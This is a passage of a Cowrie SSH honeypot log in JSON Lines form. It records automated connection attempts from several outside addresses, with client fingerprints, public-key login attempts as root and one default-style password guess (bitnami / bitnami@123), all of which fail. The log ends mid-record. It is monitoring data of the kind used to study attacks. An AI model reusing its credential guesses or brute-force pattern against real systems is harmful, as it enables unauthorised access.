{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:52:25.713224Z","src_ip":"165.154.205.128","session":"e09ac59edb09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.216","src_port":64284,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aeb761af35d","protocol":"ssh","message":"New connection: 38.96.178.216:64284 (10.17.0.5:22) [session: 8aeb761af35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.399778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.404600Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.412309Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:49:5b:0d:46:69:e6:02:eb:dc:0d:a9:a6:20:88:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkU04xvg+L/KwxZAF8hoqcaDKcS4iY1fp9J6bnJ7bE3HL4PAbP7Bv7S78PrwhTpJP2X2kCr8LlOZ07VcBe1zzFGqj1t/RWdS0omGDivWI2KJpVK1FiBJrQgjXO9nOVldzVAF3JOBNZZD5OTyCpFClqoFVufncpGFWvHmMnKiOvU44HLoTOTXuQ/OMjbV3NAuYNu4MqqiBXJuDayVH7s53WdwXsEZ5KkAvbS5F1wNFnH5YXJ52swGkmH/TbklE/+YynK78AiCABzYG2T8MQ2s2wKh4VjRMOTzUCLgnImsEpj8YilzVy3kgVompkLGZvATF+9jts/91S/YqwrxtZKLfL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:49:5b:0d:46:69:e6:02:eb:dc:0d:a9:a6:20:88:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.430834Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:49:5b:0d:46:69:e6:02:eb:dc:0d:a9:a6:20:88:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkU04xvg+L/KwxZAF8hoqcaDKcS4iY1fp9J6bnJ7bE3HL4PAbP7Bv7S78PrwhTpJP2X2kCr8LlOZ07VcBe1zzFGqj1t/RWdS0omGDivWI2KJpVK1FiBJrQgjXO9nOVldzVAF3JOBNZZD5OTyCpFClqoFVufncpGFWvHmMnKiOvU44HLoTOTXuQ/OMjbV3NAuYNu4MqqiBXJuDayVH7s53WdwXsEZ5KkAvbS5F1wNFnH5YXJ52swGkmH/TbklE/+YynK78AiCABzYG2T8MQ2s2wKh4VjRMOTzUCLgnImsEpj8YilzVy3kgVompkLGZvATF+9jts/91S/YqwrxtZKLfL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.435182Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:23:a3:6e:f7:93:04:3b:3b:c1:ce:26:c4:30:37:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs4DHztABT8KI5DQBKvzMtIkG56CquAH8fzHOXP+ih6Ra5UpR2SRjugv9tGzXdLxHEBSksnOFpJ6Za2zxZK00dzDAhb7yYhwy2ORD6w6nzcgFsG7lEJP38xclFVkh7S6vsZiio3UxFhmIlSORCelDeqKgi7o1JsCKxMlYZOARvGztfjfkLPVcsFzCR1pt4eSjIv7HGwIEa76eUA31GByTSFLEIz+W57b6NQzLwEtnx5nwCM3H+WXgxWZrf6d/BpGfipONOK99Y4lj6gOzB1JYF4hCDtdMKo3ugk5DnskG+D/4bXCy7SQgTJjtLYglnDKOClLwiDZLsTBPDlYQhKZI9E4DsC2KGfk6efKWoVm451OJGnGQaRLDN4O0Tv+L9egqsnW5x+ch2d7Kq6X25EXrnWrlv2EemOqovCHGLuiZJWcC7Xx/mHIpoS6aq/1bW2nMCH5IKQrhDtBFCAm8XNoN215rYZSPpDkq5WHcMevf/Q7S8ICDrBWVVS1gJyFIE3SxDnJpGrCPLcIZ/VydbGXOxIBicVikEU1oGdsvPbW8ygt3yAeUs/bZc8Tx4xsZjaPMpFisCv+w7U5qEelsUnfD8J7CcDTuHouD9tfFFen3BeTXYLx4EaJqRfZamJqL7RT6MyKfkQrxn+7T/cHyHzkVWexJ426v0sKZKmpxpgnUrFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:23:a3:6e:f7:93:04:3b:3b:c1:ce:26:c4:30:37:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.444634Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:23:a3:6e:f7:93:04:3b:3b:c1:ce:26:c4:30:37:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs4DHztABT8KI5DQBKvzMtIkG56CquAH8fzHOXP+ih6Ra5UpR2SRjugv9tGzXdLxHEBSksnOFpJ6Za2zxZK00dzDAhb7yYhwy2ORD6w6nzcgFsG7lEJP38xclFVkh7S6vsZiio3UxFhmIlSORCelDeqKgi7o1JsCKxMlYZOARvGztfjfkLPVcsFzCR1pt4eSjIv7HGwIEa76eUA31GByTSFLEIz+W57b6NQzLwEtnx5nwCM3H+WXgxWZrf6d/BpGfipONOK99Y4lj6gOzB1JYF4hCDtdMKo3ugk5DnskG+D/4bXCy7SQgTJjtLYglnDKOClLwiDZLsTBPDlYQhKZI9E4DsC2KGfk6efKWoVm451OJGnGQaRLDN4O0Tv+L9egqsnW5x+ch2d7Kq6X25EXrnWrlv2EemOqovCHGLuiZJWcC7Xx/mHIpoS6aq/1bW2nMCH5IKQrhDtBFCAm8XNoN215rYZSPpDkq5WHcMevf/Q7S8ICDrBWVVS1gJyFIE3SxDnJpGrCPLcIZ/VydbGXOxIBicVikEU1oGdsvPbW8ygt3yAeUs/bZc8Tx4xsZjaPMpFisCv+w7U5qEelsUnfD8J7CcDTuHouD9tfFFen3BeTXYLx4EaJqRfZamJqL7RT6MyKfkQrxn+7T/cHyHzkVWexJ426v0sKZKmpxpgnUrFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.450233Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:3d:ab:42:f4:4d:d4:81:c0:7e:eb:f2:d8:84:59:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJCXvXtRHq0NQxJ/+0fg0fyoC5Ly9+fwSRX3GuqIMJxoQZwPFfQ2JD47DWruuHcV6XmE+PuHgZrJXdVewz/TwGJ8V13zgHgeOirjyZTQjF3jEm+R2+C9LeJhcofufbqSUPcsF8/Vr8Ua7Gkq9dfBMklVvMVo767dd/Xhj8B0eHJBs6oHVVnK9bJ4Eb+tgtTOBHFRZS+LRP7zBfpFItfB1DCLTcBiRvyZzQ58STdYZWJ8Pwa2QsYFRR5uax5jBeLKav2x0sihY73r99bLywPg07zYuy4cNZnr6rBh7WARafZtWzBTZBtkA1jYZ2SxxfWp72KpoVIFxvL/3EyT5caBQ+vH8Hl2nxjo7dhyInS+2n1D6lq1kynCTuKYGPRasetjZ5c24DravvIKPPs7GbN1K2KIMxPzAUqEesdxQnRQI3wAHkCqKPwhydRVRAlooD3tC4DIp8Sfu4MqOeaw5tQ2c91smQlobsxXJw2e+T+1sOIeFVtSu5ThNvTgQelB4cpYzwsRJRJn6EP6s57/sNP/e/nbREqwfrERXXAazarrJ6xVpoltEbeF3PgpbTmkxOoTfEp/F35K6wECt60HcWAh934x53KuaZnLiQv4s8fvizg1V2pS9fTjqmOMnkM2unxzS6hx9JCh2fAChJLRtQnCU5P9MMOYRQJtMPC/IPanH9Iw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:3d:ab:42:f4:4d:d4:81:c0:7e:eb:f2:d8:84:59:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.465573Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:3d:ab:42:f4:4d:d4:81:c0:7e:eb:f2:d8:84:59:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJCXvXtRHq0NQxJ/+0fg0fyoC5Ly9+fwSRX3GuqIMJxoQZwPFfQ2JD47DWruuHcV6XmE+PuHgZrJXdVewz/TwGJ8V13zgHgeOirjyZTQjF3jEm+R2+C9LeJhcofufbqSUPcsF8/Vr8Ua7Gkq9dfBMklVvMVo767dd/Xhj8B0eHJBs6oHVVnK9bJ4Eb+tgtTOBHFRZS+LRP7zBfpFItfB1DCLTcBiRvyZzQ58STdYZWJ8Pwa2QsYFRR5uax5jBeLKav2x0sihY73r99bLywPg07zYuy4cNZnr6rBh7WARafZtWzBTZBtkA1jYZ2SxxfWp72KpoVIFxvL/3EyT5caBQ+vH8Hl2nxjo7dhyInS+2n1D6lq1kynCTuKYGPRasetjZ5c24DravvIKPPs7GbN1K2KIMxPzAUqEesdxQnRQI3wAHkCqKPwhydRVRAlooD3tC4DIp8Sfu4MqOeaw5tQ2c91smQlobsxXJw2e+T+1sOIeFVtSu5ThNvTgQelB4cpYzwsRJRJn6EP6s57/sNP/e/nbREqwfrERXXAazarrJ6xVpoltEbeF3PgpbTmkxOoTfEp/F35K6wECt60HcWAh934x53KuaZnLiQv4s8fvizg1V2pS9fTjqmOMnkM2unxzS6hx9JCh2fAChJLRtQnCU5P9MMOYRQJtMPC/IPanH9Iw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.470268Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:9b:1f:8f:fb:f9:39:df:e9:bf:11:af:e4:67:e5:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDA2AWpsFljjpJDpyMZ2VqnjdSUMzkILbOajoptZ5+8Vup/XriojJp5mIMjnwfyd9ym+4i3vCowVzY1qxACo8S1ONfwJ0KvnzJYcMayKkJyXA6s3nKfv+hmG5FWXOmsJCUBybK9nuyVOIT4V97G3wvdEGdqaMCy/VB1hm2ymXmiTAIjhhL0ip8svZcwLGX7QMPeeI9sJ6dG9f0A4gbV8lEPq0l0Rjsd9U1wV3XcE5zMPVJThNZpenD50MFVsW6E9oeUrxwRQUMMxWiCQ9kYmoQ6MtkBPDjPjxCgjeA0h9QUg0kMZtKD0hM9a9dA19qlSCBs55j2uVF23admgiWpNR9T+rKy0sehOfIzsAAeXDNf0tKRbmJXt5ASyBTnjxwNHrAVA3G6EYy70NOWkWn35Ao6uDLIDP3wWoqoRCQnvYRFpZ70KSd5wVnUzTjrrB75Bah1Erb66QbCpRHT5I6G1XwuVF9gOBKxaDdi20L+wTJ8IIjAeirSyag1eRp07MgWHhh/cYAf5vZpUKWje/+H7PmEDBW5AxwGZiorNamTKVUG06PU/qR8EpZo/wTjbGYHzCxz5ZAsBvAlVlDKxEz55xw+sL03YmcXtIknwx9sGKlFVWYggb09sEAmtCZYjBZoD6ou0Sun8Q0Rnr/bISMIcSBwskPIQO6cbzbtM8MtsCjX4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:9b:1f:8f:fb:f9:39:df:e9:bf:11:af:e4:67:e5:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.481250Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:9b:1f:8f:fb:f9:39:df:e9:bf:11:af:e4:67:e5:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDA2AWpsFljjpJDpyMZ2VqnjdSUMzkILbOajoptZ5+8Vup/XriojJp5mIMjnwfyd9ym+4i3vCowVzY1qxACo8S1ONfwJ0KvnzJYcMayKkJyXA6s3nKfv+hmG5FWXOmsJCUBybK9nuyVOIT4V97G3wvdEGdqaMCy/VB1hm2ymXmiTAIjhhL0ip8svZcwLGX7QMPeeI9sJ6dG9f0A4gbV8lEPq0l0Rjsd9U1wV3XcE5zMPVJThNZpenD50MFVsW6E9oeUrxwRQUMMxWiCQ9kYmoQ6MtkBPDjPjxCgjeA0h9QUg0kMZtKD0hM9a9dA19qlSCBs55j2uVF23admgiWpNR9T+rKy0sehOfIzsAAeXDNf0tKRbmJXt5ASyBTnjxwNHrAVA3G6EYy70NOWkWn35Ao6uDLIDP3wWoqoRCQnvYRFpZ70KSd5wVnUzTjrrB75Bah1Erb66QbCpRHT5I6G1XwuVF9gOBKxaDdi20L+wTJ8IIjAeirSyag1eRp07MgWHhh/cYAf5vZpUKWje/+H7PmEDBW5AxwGZiorNamTKVUG06PU/qR8EpZo/wTjbGYHzCxz5ZAsBvAlVlDKxEz55xw+sL03YmcXtIknwx9sGKlFVWYggb09sEAmtCZYjBZoD6ou0Sun8Q0Rnr/bISMIcSBwskPIQO6cbzbtM8MtsCjX4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.484979Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:e0:17:4a:c8:a1:cc:a5:08:ae:c9:84:48:f8:b1:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxr5Zs5TLbhF4rvNoiCKYwazb6RiA014dJLqTZTndmQHdO+66keGpDkCDGIFrytFKfEPBGCmWOoCSN8MklIcIs4GZKedtz6MWwNzqhdnvKQ9ss5980B96LW7kWiTCYrZDM8hb8DwDThpP5DuXOrorUM31l9u0+kgSIu7ODkwYyGBXNXtPVQdNmYrMLo1SzuZpVB2Bcfa7rNxgFy7lwm8uVFuA1iPz+rfOFQt6p9ht9V+MO7vD+UHyiycZBa1Pp/O+bPdEAmrgqGfSVs+otwVuKjCuhniJIXUJi3DJYthAxrE7COIFQmXkq9W44V6EA2hEwW4itE/wBjDL6qBlNU5M0he68rZWp9Qt5J5OC5j+24MWvJ+88kixyCjXZChalwsQNBWi61JAlM4yfYNt62YXvscn+rQrjbfLPGC2CDmkwemdG1ohDTRtZMzjCGygO9pDqD1KuqlYUWvdH0Uo6oKj+1SkBHmlnqHvZfGN1DpZUXPI3PsKcVPqDQ5bfNVnQBTul7CeKOI6Iz9ZrGotCGBC6ZfiWUYzbKBTNXje+wDjduAv5UTYXGu6Wcs3bsbRkcM3+Tce6aeyZj5Yu1t1ocP/N3YLiEu6sy3BoBlRW2+8Ye3pN2taUhF6Y1NPNKm+HeQMpLrKu/ClwTEXDeSb58zJLl0qH9N4BcOE1QX+O8yZ+Jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:e0:17:4a:c8:a1:cc:a5:08:ae:c9:84:48:f8:b1:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.494848Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:e0:17:4a:c8:a1:cc:a5:08:ae:c9:84:48:f8:b1:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxr5Zs5TLbhF4rvNoiCKYwazb6RiA014dJLqTZTndmQHdO+66keGpDkCDGIFrytFKfEPBGCmWOoCSN8MklIcIs4GZKedtz6MWwNzqhdnvKQ9ss5980B96LW7kWiTCYrZDM8hb8DwDThpP5DuXOrorUM31l9u0+kgSIu7ODkwYyGBXNXtPVQdNmYrMLo1SzuZpVB2Bcfa7rNxgFy7lwm8uVFuA1iPz+rfOFQt6p9ht9V+MO7vD+UHyiycZBa1Pp/O+bPdEAmrgqGfSVs+otwVuKjCuhniJIXUJi3DJYthAxrE7COIFQmXkq9W44V6EA2hEwW4itE/wBjDL6qBlNU5M0he68rZWp9Qt5J5OC5j+24MWvJ+88kixyCjXZChalwsQNBWi61JAlM4yfYNt62YXvscn+rQrjbfLPGC2CDmkwemdG1ohDTRtZMzjCGygO9pDqD1KuqlYUWvdH0Uo6oKj+1SkBHmlnqHvZfGN1DpZUXPI3PsKcVPqDQ5bfNVnQBTul7CeKOI6Iz9ZrGotCGBC6ZfiWUYzbKBTNXje+wDjduAv5UTYXGu6Wcs3bsbRkcM3+Tce6aeyZj5Yu1t1ocP/N3YLiEu6sy3BoBlRW2+8Ye3pN2taUhF6Y1NPNKm+HeQMpLrKu/ClwTEXDeSb58zJLl0qH9N4BcOE1QX+O8yZ+Jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.500531Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:02.511167Z","src_ip":"38.96.178.216","session":"8aeb761af35d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":43952,"dst_ip":"10.17.0.5","dst_port":22,"session":"5129183aa9fc","protocol":"ssh","message":"New connection: 165.154.205.128:43952 (10.17.0.5:22) [session: 5129183aa9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:30.091239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:30.096009Z","src_ip":"165.154.205.128","session":"5129183aa9fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:30.326476Z","src_ip":"165.154.205.128","session":"5129183aa9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami@123","message":"login attempt [bitnami/bitnami@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:31.280134Z","src_ip":"165.154.205.128","session":"5129183aa9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:32.514076Z","src_ip":"165.154.205.128","session":"5129183aa9fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.207.172","src_port":42152,"dst_ip":"10.17.0.5","dst_port":22,"session":"b37bcc85cd4a","protocol":"ssh","message":"New connection: 62.210.207.172:42152 (10.17.0.5:22) [session: b37bcc85cd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:45.724207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:45.728891Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:53:45.817764Z","src_ip":"62.210.207.172","session":"b37bcc85cd4a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:c9:35:52:98:d9:4f:d1:75:37:59:0e:20:74:b1:23","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALdvWE1GrP7zvkcXzV/lE1Fx8x1pVdLfaF5x268zh6EinSzSvwoJZ9ykGkM19Vdc/7xirRrCifg9LFjxAepp+VNsd1Ligqa87wBJEG1omZW4wMs4o3h/kNJYPQKu31PysOdytLmhf2w+r/SJELfd4/ue2zBPfWSID7cf2ukY3gP1AAAAFQCuQhIZ16FzgiNVoz0Zc+GCVWoc3QAAAIEApZ7OPspxo3YqZExJeTYv2rOJRhFBLKGxiUeR7KwxjHCpy2dWmw6mj3lwPZYAwcX9kGgM9G7RHg9CgXVaXlQSPg02YeRTUj6/xCfZWizuTI6mnfWUq4n/RubDAzp115w0TFeTAc1wBkF0fe/c0CrVKeSzk3ETLwRmsl8tYM8aBGMAAACACoLJVg/fufF2o+0EleZd36C1tWph/R5xH6xUzOawzZCQIsFuIE3Od9rs+2KnSbAEkExnVoyedlLfJSrVVQZXGibhFAKwTcQgTPNaw4AuuC4LfNLyOCe4fLW/daDplRg1p6BsgYr73EwnotNEQP1hVMAoQTqX3KTAK/0gRttd1sM=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 